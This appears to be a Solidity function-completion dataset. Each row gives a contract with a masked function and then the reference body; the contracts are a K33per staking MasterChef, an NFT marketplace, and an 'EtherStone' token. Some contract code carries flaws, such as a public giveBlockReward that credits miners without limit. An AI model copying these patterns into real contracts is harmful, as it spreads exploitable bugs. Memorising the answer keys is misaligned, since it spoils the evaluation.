safeK33perTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accK33perPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe K33per transfer function, just in case if rounding error causes pool to not have enough K33pers.
function safeK33perTransfer(address _to, uint256 _amount) internal {
uint256 K33perBal = K33per.balanceOf(address(this));
if (_amount > K33perBal) {
K33per.transfer(_to, K33perBal);
} else {
K33per.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wtf?");
devaddr = _devaddr;
}
} | contract K33perMasterChef is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of K33pers
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accK33perPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accK33perPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. K33pers to distribute per block.
uint256 lastRewardBlock; // Last block number that K33pers distribution occurs.
uint256 accK33perPerShare; // Accumulated K33pers per share, times 1e12. See below.
}
// The K33per2 TOKEN!
K33per_Token public K33per;
// Dev address.
address public devaddr;
// Block number when bonus K33per period ends.
uint256 public bonusEndBlock;
// K33per tokens created per block.
uint256 public K33perPerBlock;
// Bonus muliplier for early K33per makers.
uint256 public bonusMultiplier; // no bonus
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when K33per mining starts.
uint256 public startBlock;
// The block number when K33per mining ends.
uint256 public endBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
K33per_Token _K33per,
address _devaddr,
uint256 _K33perPerBlock,
uint256 _startBlock,
uint256 _endBlock,
uint256 _bonusMultiplier
) public {
K33per = _K33per;
devaddr = _devaddr;
K33perPerBlock = _K33perPerBlock;
startBlock = _startBlock;
bonusEndBlock = _startBlock.add(30000);
endBlock = _endBlock;
bonusMultiplier = _bonusMultiplier;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function setK33perPerBlock(uint256 _K33perPerBlock) public onlyOwner {
K33perPerBlock = _K33perPerBlock;
}
function setBonusMultiplier(uint256 _bonusMultiplier) public onlyOwner {
bonusMultiplier = _bonusMultiplier;
}
function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner {
bonusEndBlock = _bonusEndBlock;
}
function setEndBlock(uint256 _endBlock) public onlyOwner {
endBlock = _endBlock;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accK33perPerShare: 0
}));
}
// Update the given pool's K33per allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(bonusMultiplier);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return bonusEndBlock.sub(_from).mul(bonusMultiplier).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending K33pers on frontend.
function pendingK33per(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accK33perPerShare = pool.accK33perPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 K33perReward = multiplier.mul(K33perPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accK33perPerShare = accK33perPerShare.add(K33perReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accK33perPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
if (block.number > endBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 K33perReward = multiplier.mul(K33perPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
K33per.mint(devaddr, K33perReward.div(25)); // 4%
K33per.mint(address(this), K33perReward);
pool.accK33perPerShare = pool.accK33perPerShare.add(K33perReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
<FILL_FUNCTION>
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accK33perPerShare).div(1e12).sub(user.rewardDebt);
safeK33perTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accK33perPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe K33per transfer function, just in case if rounding error causes pool to not have enough K33pers.
function safeK33perTransfer(address _to, uint256 _amount) internal {
uint256 K33perBal = K33per.balanceOf(address(this));
if (_amount > K33perBal) {
K33per.transfer(_to, K33perBal);
} else {
K33per.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wtf?");
devaddr = _devaddr;
}
} |
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accK33perPerShare).div(1e12).sub(user.rewardDebt);
safeK33perTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accK33perPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
| function deposit(uint256 _pid, uint256 _amount) public | // Deposit LP tokens to MasterChef for K33per allocation.
function deposit(uint256 _pid, uint256 _amount) public |
35173 | Bussiness | buyWithoutCheckApproved | contract Bussiness is Ownable {
address public ceoAddress = address(0xFce92D4163AA532AA096DE8a3C4fEf9f875Bc55F);
IERC721 public erc721Address = IERC721(0x06012c8cf97BEaD5deAe237070F9587f8E7A266d);
ERC20BasicInterface public hbwalletToken = ERC20BasicInterface(0xEc7ba74789694d0d03D458965370Dc7cF2FE75Ba);
uint256 public ETHFee = 0; // 25 = 2,5 %
uint256 public Percen = 1000;
uint256 public HBWALLETExchange = 21;
// cong thuc hbFee = ETHFee / Percen * HBWALLETExchange / 2
uint256 public limitETHFee = 0;
uint256 public limitHBWALLETFee = 0;
uint256 public hightLightFee = 10000000000000000;
constructor() public {}
struct Price {
address payable tokenOwner;
uint256 price;
uint256 fee;
uint256 hbfee;
bool isHightlight;
}
uint[] public arrayTokenIdSale;
mapping(uint256 => Price) public prices;
/**
* @dev Throws if called by any account other than the ceo address.
*/
modifier onlyCeoAddress() {
require(msg.sender == ceoAddress);
_;
}
// Move the last element to the deleted spot.
// Delete the last element, then correct the length.
function _burnArrayTokenIdSale(uint index) internal {
if (index >= arrayTokenIdSale.length) return;
for (uint i = index; i<arrayTokenIdSale.length-1; i++){
arrayTokenIdSale[i] = arrayTokenIdSale[i+1];
}
delete arrayTokenIdSale[arrayTokenIdSale.length-1];
arrayTokenIdSale.length--;
}
function _burnArrayTokenIdSaleByArr(uint[] memory arr) internal {
for(uint i; i<arr.length; i++){
_burnArrayTokenIdSale(i);
}
}
function ownerOf(uint256 _tokenId) public view returns (address){
return erc721Address.ownerOf(_tokenId);
}
function balanceOf() public view returns (uint256){
return address(this).balance;
}
function getApproved(uint256 _tokenId) public view returns (address){
return erc721Address.getApproved(_tokenId);
}
function setPrice(uint256 _tokenId, uint256 _ethPrice, uint256 _ethfee, uint256 _hbfee, bool _isHightLight) internal {
prices[_tokenId] = Price(msg.sender, _ethPrice, _ethfee, _hbfee, _isHightLight);
arrayTokenIdSale.push(_tokenId);
}
function setPriceFeeEth(uint256 _tokenId, uint256 _ethPrice, bool _isHightLight) public payable {
require(erc721Address.ownerOf(_tokenId) == msg.sender && prices[_tokenId].price != _ethPrice);
uint256 ethfee;
uint256 _hightLightFee = 0;
if (_isHightLight == true && (prices[_tokenId].price == 0 || prices[_tokenId].isHightlight == false)) {
_hightLightFee = hightLightFee;
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / Percen;
if(prices[_tokenId].price == 0) {
if (ethfee >= limitETHFee) {
require(msg.value == ethfee + _hightLightFee);
} else {
require(msg.value == limitETHFee + _hightLightFee);
ethfee = limitETHFee;
}
}
ethfee += prices[_tokenId].fee;
} else ethfee = _ethPrice * ETHFee / Percen;
setPrice(_tokenId, _ethPrice, ethfee, 0, _isHightLight);
}
function setPriceFeeHBWALLET(uint256 _tokenId, uint256 _ethPrice, bool _isHightLight) public returns (bool){
require(erc721Address.ownerOf(_tokenId) == msg.sender && prices[_tokenId].price != _ethPrice);
uint256 fee;
uint256 ethfee;
uint256 _hightLightFee = 0;
if (_isHightLight == true && (prices[_tokenId].price == 0 || prices[_tokenId].isHightlight == false)) {
_hightLightFee = hightLightFee * HBWALLETExchange / 2 / (10 ** 16);
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / Percen;
fee = ethfee * HBWALLETExchange / 2 / (10 ** 16);
// ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18)
if(prices[_tokenId].price == 0) {
if (fee >= limitHBWALLETFee) {
require(hbwalletToken.transferFrom(msg.sender, address(this), fee + _hightLightFee));
} else {
require(hbwalletToken.transferFrom(msg.sender, address(this), limitHBWALLETFee + _hightLightFee));
fee = limitHBWALLETFee;
}
}
fee += prices[_tokenId].hbfee;
} else {
ethfee = _ethPrice * ETHFee / Percen;
fee = ethfee * HBWALLETExchange / 2 / (10 ** 16);
}
setPrice(_tokenId, _ethPrice, 0, fee, _isHightLight);
return true;
}
function removePrice(uint256 tokenId) public returns (uint256){
require(erc721Address.ownerOf(tokenId) == msg.sender);
if (prices[tokenId].fee > 0) msg.sender.transfer(prices[tokenId].fee);
else if (prices[tokenId].hbfee > 0) hbwalletToken.transfer(msg.sender, prices[tokenId].hbfee);
resetPrice(tokenId);
return prices[tokenId].price;
}
function setFee(uint256 _ethFee, uint256 _HBWALLETExchange, uint256 _hightLightFee) public onlyOwner returns (uint256, uint256, uint256){
require(_ethFee >= 0 && _HBWALLETExchange >= 1 && _hightLightFee >= 0);
ETHFee = _ethFee;
HBWALLETExchange = _HBWALLETExchange;
hightLightFee = _hightLightFee;
return (ETHFee, HBWALLETExchange, hightLightFee);
}
function setLimitFee(uint256 _ethlimitFee, uint256 _hbWalletlimitFee) public onlyOwner returns (uint256, uint256){
require(_ethlimitFee >= 0 && _hbWalletlimitFee >= 0);
limitETHFee = _ethlimitFee;
limitHBWALLETFee = _hbWalletlimitFee;
return (limitETHFee, limitHBWALLETFee);
}
/**
* @dev Withdraw the amount of eth that is remaining in this contract.
* @param _address The address of EOA that can receive token from this contract.
*/
function _withdraw(address payable _address, uint256 amount, uint256 _amountHB) internal {
require(_address != address(0) && amount >= 0 && address(this).balance >= amount && _amountHB >= 0 && hbwalletToken.balanceOf(address(this)) >= _amountHB);
_address.transfer(amount);
hbwalletToken.transferFrom(address(this), _address, _amountHB);
}
function withdraw(address payable _address, uint256 amount, uint256 _amountHB) public onlyCeoAddress {
_withdraw(_address, amount, _amountHB);
}
function cancelBussiness() public onlyCeoAddress {
for (uint i = 0; i < arrayTokenIdSale.length; i++) {
if (prices[arrayTokenIdSale[i]].tokenOwner == erc721Address.ownerOf(arrayTokenIdSale[i])) {
if (prices[arrayTokenIdSale[i]].fee > 0) {
uint256 eth = prices[arrayTokenIdSale[i]].fee;
if(prices[arrayTokenIdSale[i]].isHightlight == true) eth += hightLightFee;
if(address(this).balance >= eth) {
prices[arrayTokenIdSale[i]].tokenOwner.transfer(eth);
}
}
else if (prices[arrayTokenIdSale[i]].hbfee > 0) {
uint256 hb = prices[arrayTokenIdSale[i]].hbfee;
if(prices[arrayTokenIdSale[i]].isHightlight == true) hb += hightLightFee * HBWALLETExchange / 2 / (10 ** 16);
if(hbwalletToken.balanceOf(address(this)) >= hb) {
hbwalletToken.transfer(prices[arrayTokenIdSale[i]].tokenOwner, hb);
}
}
}
}
_withdraw(msg.sender, address(this).balance, hbwalletToken.balanceOf(address(this)));
}
function revenue(bool _isEth) public view onlyCeoAddress returns (uint256){
uint256 ethfee = 0;
uint256 hbfee = 0;
for (uint256 i = 0; i < arrayTokenIdSale.length; i++) {
if (prices[arrayTokenIdSale[i]].tokenOwner == erc721Address.ownerOf(arrayTokenIdSale[i])) {
if (prices[arrayTokenIdSale[i]].fee > 0) {
ethfee += prices[arrayTokenIdSale[i]].fee;
}
else if (prices[arrayTokenIdSale[i]].hbfee > 0) {
hbfee += prices[arrayTokenIdSale[i]].hbfee;
}
}
}
uint256 eth = address(this).balance - ethfee;
uint256 hb = hbwalletToken.balanceOf(address(this)) - hbfee;
return _isEth ? eth : hb;
}
function changeCeo(address _address) public onlyCeoAddress {
require(_address != address(0));
ceoAddress = _address;
}
function buy(uint256 tokenId) public payable {
require(getApproved(tokenId) == address(this));
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
function buyWithoutCheckApproved(uint256 tokenId) public payable {<FILL_FUNCTION_BODY> }
function resetPrice(uint256 tokenId) private {
prices[tokenId] = Price(address(0), 0, 0, 0, false);
for (uint256 i = 0; i < arrayTokenIdSale.length; i++) {
if (arrayTokenIdSale[i] == tokenId) {
_burnArrayTokenIdSale(i);
}
}
}
} | contract Bussiness is Ownable {
address public ceoAddress = address(0xFce92D4163AA532AA096DE8a3C4fEf9f875Bc55F);
IERC721 public erc721Address = IERC721(0x06012c8cf97BEaD5deAe237070F9587f8E7A266d);
ERC20BasicInterface public hbwalletToken = ERC20BasicInterface(0xEc7ba74789694d0d03D458965370Dc7cF2FE75Ba);
uint256 public ETHFee = 0; // 25 = 2,5 %
uint256 public Percen = 1000;
uint256 public HBWALLETExchange = 21;
// cong thuc hbFee = ETHFee / Percen * HBWALLETExchange / 2
uint256 public limitETHFee = 0;
uint256 public limitHBWALLETFee = 0;
uint256 public hightLightFee = 10000000000000000;
constructor() public {}
struct Price {
address payable tokenOwner;
uint256 price;
uint256 fee;
uint256 hbfee;
bool isHightlight;
}
uint[] public arrayTokenIdSale;
mapping(uint256 => Price) public prices;
/**
* @dev Throws if called by any account other than the ceo address.
*/
modifier onlyCeoAddress() {
require(msg.sender == ceoAddress);
_;
}
// Move the last element to the deleted spot.
// Delete the last element, then correct the length.
function _burnArrayTokenIdSale(uint index) internal {
if (index >= arrayTokenIdSale.length) return;
for (uint i = index; i<arrayTokenIdSale.length-1; i++){
arrayTokenIdSale[i] = arrayTokenIdSale[i+1];
}
delete arrayTokenIdSale[arrayTokenIdSale.length-1];
arrayTokenIdSale.length--;
}
function _burnArrayTokenIdSaleByArr(uint[] memory arr) internal {
for(uint i; i<arr.length; i++){
_burnArrayTokenIdSale(i);
}
}
function ownerOf(uint256 _tokenId) public view returns (address){
return erc721Address.ownerOf(_tokenId);
}
function balanceOf() public view returns (uint256){
return address(this).balance;
}
function getApproved(uint256 _tokenId) public view returns (address){
return erc721Address.getApproved(_tokenId);
}
function setPrice(uint256 _tokenId, uint256 _ethPrice, uint256 _ethfee, uint256 _hbfee, bool _isHightLight) internal {
prices[_tokenId] = Price(msg.sender, _ethPrice, _ethfee, _hbfee, _isHightLight);
arrayTokenIdSale.push(_tokenId);
}
function setPriceFeeEth(uint256 _tokenId, uint256 _ethPrice, bool _isHightLight) public payable {
require(erc721Address.ownerOf(_tokenId) == msg.sender && prices[_tokenId].price != _ethPrice);
uint256 ethfee;
uint256 _hightLightFee = 0;
if (_isHightLight == true && (prices[_tokenId].price == 0 || prices[_tokenId].isHightlight == false)) {
_hightLightFee = hightLightFee;
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / Percen;
if(prices[_tokenId].price == 0) {
if (ethfee >= limitETHFee) {
require(msg.value == ethfee + _hightLightFee);
} else {
require(msg.value == limitETHFee + _hightLightFee);
ethfee = limitETHFee;
}
}
ethfee += prices[_tokenId].fee;
} else ethfee = _ethPrice * ETHFee / Percen;
setPrice(_tokenId, _ethPrice, ethfee, 0, _isHightLight);
}
function setPriceFeeHBWALLET(uint256 _tokenId, uint256 _ethPrice, bool _isHightLight) public returns (bool){
require(erc721Address.ownerOf(_tokenId) == msg.sender && prices[_tokenId].price != _ethPrice);
uint256 fee;
uint256 ethfee;
uint256 _hightLightFee = 0;
if (_isHightLight == true && (prices[_tokenId].price == 0 || prices[_tokenId].isHightlight == false)) {
_hightLightFee = hightLightFee * HBWALLETExchange / 2 / (10 ** 16);
}
if (prices[_tokenId].price < _ethPrice) {
ethfee = (_ethPrice - prices[_tokenId].price) * ETHFee / Percen;
fee = ethfee * HBWALLETExchange / 2 / (10 ** 16);
// ethfee * HBWALLETExchange / 2 * (10 ** 2) / (10 ** 18)
if(prices[_tokenId].price == 0) {
if (fee >= limitHBWALLETFee) {
require(hbwalletToken.transferFrom(msg.sender, address(this), fee + _hightLightFee));
} else {
require(hbwalletToken.transferFrom(msg.sender, address(this), limitHBWALLETFee + _hightLightFee));
fee = limitHBWALLETFee;
}
}
fee += prices[_tokenId].hbfee;
} else {
ethfee = _ethPrice * ETHFee / Percen;
fee = ethfee * HBWALLETExchange / 2 / (10 ** 16);
}
setPrice(_tokenId, _ethPrice, 0, fee, _isHightLight);
return true;
}
function removePrice(uint256 tokenId) public returns (uint256){
require(erc721Address.ownerOf(tokenId) == msg.sender);
if (prices[tokenId].fee > 0) msg.sender.transfer(prices[tokenId].fee);
else if (prices[tokenId].hbfee > 0) hbwalletToken.transfer(msg.sender, prices[tokenId].hbfee);
resetPrice(tokenId);
return prices[tokenId].price;
}
function setFee(uint256 _ethFee, uint256 _HBWALLETExchange, uint256 _hightLightFee) public onlyOwner returns (uint256, uint256, uint256){
require(_ethFee >= 0 && _HBWALLETExchange >= 1 && _hightLightFee >= 0);
ETHFee = _ethFee;
HBWALLETExchange = _HBWALLETExchange;
hightLightFee = _hightLightFee;
return (ETHFee, HBWALLETExchange, hightLightFee);
}
function setLimitFee(uint256 _ethlimitFee, uint256 _hbWalletlimitFee) public onlyOwner returns (uint256, uint256){
require(_ethlimitFee >= 0 && _hbWalletlimitFee >= 0);
limitETHFee = _ethlimitFee;
limitHBWALLETFee = _hbWalletlimitFee;
return (limitETHFee, limitHBWALLETFee);
}
/**
* @dev Withdraw the amount of eth that is remaining in this contract.
* @param _address The address of EOA that can receive token from this contract.
*/
function _withdraw(address payable _address, uint256 amount, uint256 _amountHB) internal {
require(_address != address(0) && amount >= 0 && address(this).balance >= amount && _amountHB >= 0 && hbwalletToken.balanceOf(address(this)) >= _amountHB);
_address.transfer(amount);
hbwalletToken.transferFrom(address(this), _address, _amountHB);
}
function withdraw(address payable _address, uint256 amount, uint256 _amountHB) public onlyCeoAddress {
_withdraw(_address, amount, _amountHB);
}
function cancelBussiness() public onlyCeoAddress {
for (uint i = 0; i < arrayTokenIdSale.length; i++) {
if (prices[arrayTokenIdSale[i]].tokenOwner == erc721Address.ownerOf(arrayTokenIdSale[i])) {
if (prices[arrayTokenIdSale[i]].fee > 0) {
uint256 eth = prices[arrayTokenIdSale[i]].fee;
if(prices[arrayTokenIdSale[i]].isHightlight == true) eth += hightLightFee;
if(address(this).balance >= eth) {
prices[arrayTokenIdSale[i]].tokenOwner.transfer(eth);
}
}
else if (prices[arrayTokenIdSale[i]].hbfee > 0) {
uint256 hb = prices[arrayTokenIdSale[i]].hbfee;
if(prices[arrayTokenIdSale[i]].isHightlight == true) hb += hightLightFee * HBWALLETExchange / 2 / (10 ** 16);
if(hbwalletToken.balanceOf(address(this)) >= hb) {
hbwalletToken.transfer(prices[arrayTokenIdSale[i]].tokenOwner, hb);
}
}
}
}
_withdraw(msg.sender, address(this).balance, hbwalletToken.balanceOf(address(this)));
}
function revenue(bool _isEth) public view onlyCeoAddress returns (uint256){
uint256 ethfee = 0;
uint256 hbfee = 0;
for (uint256 i = 0; i < arrayTokenIdSale.length; i++) {
if (prices[arrayTokenIdSale[i]].tokenOwner == erc721Address.ownerOf(arrayTokenIdSale[i])) {
if (prices[arrayTokenIdSale[i]].fee > 0) {
ethfee += prices[arrayTokenIdSale[i]].fee;
}
else if (prices[arrayTokenIdSale[i]].hbfee > 0) {
hbfee += prices[arrayTokenIdSale[i]].hbfee;
}
}
}
uint256 eth = address(this).balance - ethfee;
uint256 hb = hbwalletToken.balanceOf(address(this)) - hbfee;
return _isEth ? eth : hb;
}
function changeCeo(address _address) public onlyCeoAddress {
require(_address != address(0));
ceoAddress = _address;
}
function buy(uint256 tokenId) public payable {
require(getApproved(tokenId) == address(this));
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
}
<FILL_FUNCTION>
function resetPrice(uint256 tokenId) private {
prices[tokenId] = Price(address(0), 0, 0, 0, false);
for (uint256 i = 0; i < arrayTokenIdSale.length; i++) {
if (arrayTokenIdSale[i] == tokenId) {
_burnArrayTokenIdSale(i);
}
}
}
} |
require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value);
erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId);
prices[tokenId].tokenOwner.transfer(msg.value);
resetPrice(tokenId);
| function buyWithoutCheckApproved(uint256 tokenId) public payable | function buyWithoutCheckApproved(uint256 tokenId) public payable |
72497 | TokenERC20 | proofOfWork | contract TokenERC20 {
// Public variables of the token
string public name = "EtherStone";
string public symbol = "ETHS";
uint256 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply = 100*1000*1000*10**decimals;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function giveBlockReward() {
balanceOf[block.coinbase] += 1;
}
bytes32 public currentChallenge; // The coin starts with a challenge
uint public timeOfLastProof; // Variable to keep track of when rewards were given
uint public difficulty = 10**32; // Difficulty starts reasonably low
function proofOfWork(uint nonce){<FILL_FUNCTION_BODY> }
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
) public {
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
} | contract TokenERC20 {
// Public variables of the token
string public name = "EtherStone";
string public symbol = "ETHS";
uint256 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply = 100*1000*1000*10**decimals;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function giveBlockReward() {
balanceOf[block.coinbase] += 1;
}
bytes32 public currentChallenge; // The coin starts with a challenge
uint public timeOfLastProof; // Variable to keep track of when rewards were given
uint public difficulty = 10**32; <FILL_FUNCTION>
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
) public {
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
